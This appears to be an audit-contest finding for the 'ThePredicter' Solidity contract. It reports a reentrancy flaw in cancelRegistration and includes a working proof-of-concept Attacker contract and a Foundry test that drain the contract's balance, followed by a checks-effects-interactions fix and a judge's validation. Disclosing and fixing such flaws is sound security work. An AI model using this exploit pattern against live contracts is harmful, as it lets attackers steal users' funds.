First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy attack in `ThePredicter::cancelRegistration` allows an attacker to steal all of the funds

NHristov

Summary

A reentrancy attack in `ThePredicter::CancelRegistration` allows an attacker to steal all of the funds because it doesn't follow the Check-effects-interactions pattern

Vulnerability Details

function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
(bool success, ) = msg.sender.call{value: entranceFee}("");
require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

In the provided function ThePredicter::cancelRegistration is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract. An attacker can exploit this vulnerability by repeatedly calling the cancelRegistration function before the contract has a chance to update its state

Impact

The impact of this vulnerability is severe as it allows an attacker to drain all the funds from the `ThePredicter` contract. This can lead to significant financial loss for the users of the contract.

PoC

Code Add the following code to ThePredicter.test.sol
contract Attacker {
uint256 constant entranceFee = 0.04 ether;
ThePredicter immutable victim;
​
constructor(address _victim) {
victim = ThePredicter(_victim);
}
​
function attack() external payable {
victim.register{value: entranceFee}();
victim.cancelRegistration();
}
​
receive() external payable {
while (address(victim).balance >= entranceFee) {
victim.cancelRegistration();
}
}
}
​
function test_reentrancyInCancelRegistration() public {
vm.deal(stranger, 1 ether);
vm.startPrank(stranger);
thePredicter.register{value: 0.04 ether}();
vm.stopPrank();
​
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger2);
vm.deal(stranger2, 1 ether);
thePredicter.register{value: 0.04 ether}();
​
uint256 balanceBefore = address(thePredicter).balance;
console.log("the predicted balance before attack: ", balanceBefore);
​
Attacker attacker = new Attacker(address(thePredicter));
vm.startPrank(stranger2);
attacker.attack{value: 0.04 ether}();
​
assertEq(0, address(thePredicter).balance);
console.log("the predicted balance after attack: ", address(thePredicter).balance);
console.log("the attacker balance: ", address(attacker).balance);
}

Tools Used

Manual code review and testing with the forge library.

Recommendations

To fix it the function ThePredicter::cancelRegistration should follow CEI and send the money after we update the state

​
function cancelRegistration() public {
if (playersStatus[msg.sender] == Status.Pending) {
// @audit high should follow CEI pattern because there is an reentrancy attack
- (bool success, ) = msg.sender.call{value: entranceFee}("");
- require(success, "Failed to withdraw");
playersStatus[msg.sender] = Status.Canceled;
+ (bool success, ) = msg.sender.call{value: entranceFee}("");
+ require(success, "Failed to withdraw");
return;
}
revert ThePredicter__NotEligibleForWithdraw();
}

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.